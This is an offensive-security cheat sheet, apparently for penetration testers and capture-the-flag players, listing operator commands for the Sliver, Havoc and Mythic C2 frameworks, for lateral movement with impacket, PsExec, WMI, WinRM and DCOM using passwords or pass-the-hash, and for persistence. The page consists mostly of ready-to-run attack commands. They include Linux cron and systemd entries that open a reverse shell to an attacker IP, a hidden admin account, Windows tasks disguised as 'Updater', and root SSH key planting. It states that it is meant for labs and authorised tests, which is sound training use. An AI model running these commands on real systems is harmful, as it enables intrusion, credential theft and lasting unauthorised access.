C2 and post-exploitation

How to stand up a C2, keep access and hop between hosts, with each framework's operator commands. Only for labs and authorised pentests.

Your values Saved in this browser and applied to every cheatsheet.

Sliver

Go C2, a single binary, very common in CTF and pentest. Server and console ship together; generate the implant and start the listener from the same console.

Start

Server and console Attacker 
sliver-server
mTLS listener Attacker 
mtls --lhost 10.10.14.5 --lport 443
HTTP(S) listener (blends with web traffic) Attacker 
https --lhost 10.10.14.5 --lport 443

Generate implants

Session (interactive) Attacker 
generate --mtls 10.10.14.5:443 --os windows --arch amd64 --format exe --save /tmp
Beacon (checks in periodically) Attacker 
generate beacon --http 10.10.14.5 --seconds 30 --jitter 5 --os windows --save /tmp
shellcode / DLL Attacker 
generate --mtls 10.10.14.5 --format shellcode --save /tmp/sc.bin

Operate

List sessions and enter one 
sessions
use <id>
Commands inside the implant 
info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\fichero
Pivot with port forward 
portfwd add --bind 127.0.0.1:1433 --remote 10.10.0.5:1433

Havoc

C2 with a GUI (Qt client) and the Demon agent. The teamserver loads a YAML profile; the client connects to it.

Start

Teamserver Attacker 
./havoc server --profile profiles/havoc.yaotl -v
Client Attacker 
./havoc client

Demon agent

The implant is built from the client (Attack > Payload). It is then driven from the agent console.

Typical Demon commands 
dir; shell whoami; upload /tmp/x.exe C:\\Windows\\Temp\\x.exe; download C:\\loot\\pass.txt
Load a BOF (Beacon Object File) 
inline-execute /ruta/whoami.o
SOCKS to pivot 
socks add 1080

Mythic

Modular C2 deployed with Docker: each agent (Apollo for Windows, Poseidon cross-platform) and each C2 channel is a container. Operated from the browser.

Deploy

Install and start Attacker 
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli start
Show the panel password Attacker 
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD

Operate

The payload and listener (C2 Profile) are created in the web UI at https://127.0.0.1:7443. Below, typical Apollo commands.

Apollo commands 
shell whoami; download C:\\loot\\pass.txt; jobs; ps
Run a .NET assembly in memory 
execute_assembly -Assembly Seatbelt.exe -Arguments "-group=all"

Lateral movement

With credentials or a hash, hop to the next host. From noisiest (psexec creates a service) to quieter (WinRM, WMI). All support pass-the-hash.

Practise it on: ActiveForestSaunaBlackfieldJabTimelapseCascade

PsExec

Creates a service and gives SYSTEM. Defender often catches it.

impacket-psexec Attacker 
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
Sysinternals PsExec (from Windows) Target 
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd

WMI

Practise it on: Cascade

impacket-wmiexec Attacker 
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
Spawn a remote process with wmic Target 
wmic /node:10.10.11.20 /user:box.htb\\usuario /password:'Password123!' process call create "cmd /c calc.exe"

WinRM

Practise it on: BlackfieldTimelapse

evil-winrm Attacker 
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b
Enter-PSSession from Windows Target 
Enter-PSSession -ComputerName 10.10.11.20 -Credential box.htb\\usuario

DCOM

Practise it on: Jab

impacket-dcomexec (MMC20) Attacker 
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20
By hand with PowerShell (ShellWindows) Target 
$c=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.11.20"))
$c.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc.exe","7")

Persistence

Keep access across a reboot. In a pentest, write it all down to clean up afterwards.

Practise it on: ActiveForest

Windows

Scheduled task Target 
schtasks /create /sc onlogon /tn "Updater" /tr "C:\\Windows\\Temp\\x.exe" /ru SYSTEM
Registry Run key Target 
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /d "C:\\Windows\\Temp\\x.exe" /f
New service Target 
sc.exe create Updater binPath= "C:\\Windows\\Temp\\x.exe" start= auto
Add a local user and to the admins group Target 
net user soporte 'Soporte123!' /add && net localgroup administrators soporte /add

Linux

cron Target 
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -
systemd service Target 
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service
sudo systemctl enable --now upd
Your SSH key in authorized_keys Target 
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA... tu_clave' >> ~/.ssh/authorized_keys
Add a root SSH key (if you can write) Target 
echo 'ssh-ed25519 AAAA... tu_clave' | sudo tee -a /root/.ssh/authorized_keys